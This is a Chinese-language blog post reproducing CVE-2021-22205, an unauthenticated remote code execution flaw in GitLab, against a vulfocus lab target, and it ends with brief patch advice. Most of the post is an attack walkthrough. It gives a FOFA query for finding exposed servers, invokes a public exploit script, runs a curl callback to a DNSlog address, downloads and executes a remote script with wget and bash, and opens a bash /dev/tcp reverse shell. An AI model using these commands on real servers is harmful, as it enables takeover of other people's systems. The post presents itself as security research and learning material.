gitlab 未授权rce (CVE-2021-22205)


所有文章,仅供安全研究与学习之用,后果自负!

gitlab 未授权rce (CVE-2021-22205)

0x01 漏洞描述

2021年4⽉15⽇,GitLab官⽅发布安全补丁更新修复了GitLab命令执⾏漏洞(CVE-2021-22205)。由于GitLab中的ExifTool没有对传⼊的图像⽂件的扩展名进⾏正确处理,攻击者通过上传特制的恶意图⽚,可以在⽬标服务器上执⾏任意命令,且发现由于GitLab存在未授权的端点,导致该漏洞在⽆需进⾏身份验证的情况下即可进⾏利⽤,社区版(CE)和企业版(EE)皆受影响,CVSS评分为9.9。

未授权的rce点在于用户注册:

https://xx.xx.xx.xx/users/sign_up

fofa指纹

 title="GitLab"

0x02 影响范围

11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3

0x03 漏洞复现

(1)访问靶场
在这里插入图片描述
(2) 漏洞利用脚本

https://github.com/Al1ex/CVE-2021-22205

python3运行

查看帮助

python CVE-2021-22205.py -h

在这里插入图片描述

先用验证模式

检测漏洞是否存在

python CVE-2021-22205.py -v true -t http://vulfocus.fofa.so:37366/

在这里插入图片描述

执行命令

因为没有回显
可用dnslog或者 自己搭建服务器测试

python CVE-2021-22205.py -a true -t http://vulfocus.fofa.so:37366/ -c “curl dnslog地址”
在这里插入图片描述
命令执行成功
在这里插入图片描述

反弹shell

(1) 在vps上搭建 cmd.txt 内容为反弹shell的命令
先下载下 再执行

wget --output-document /tmp/rce vps/cmd.txt
bash  /tmp/rce

在这里插入图片描述

在这里插入图片描述
反弹shell
成功
在这里插入图片描述
(2) 先将反弹shell的命令写⼊tmp⽬录下的1.sh⽂件
再执行改文件
文件名可以使 2.sh 也可以不加.sh
尝试过后 名字为2也可以弹回shell .sh不是必须的

echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/2.sh
bash /tmp/2.sh

反弹shell成功
在这里插入图片描述
在这里插入图片描述
第二种方法直接echo 更方便 不需要用python起 http服务

0x04 漏洞修复

官⽅升级
⽬前官⽅已发布新版本修复了该漏洞,请受影响的⽤户尽快升级⾄最新版本进⾏防护,官⽅下载链接:https://about.gitlab.com/update/

若相关⽤户暂时⽆法进⾏升级操作,可使⽤⽩名单限制对Web端⼝的访问。

Guess you like

Origin blog.csdn.net/YouthBelief/article/details/121269497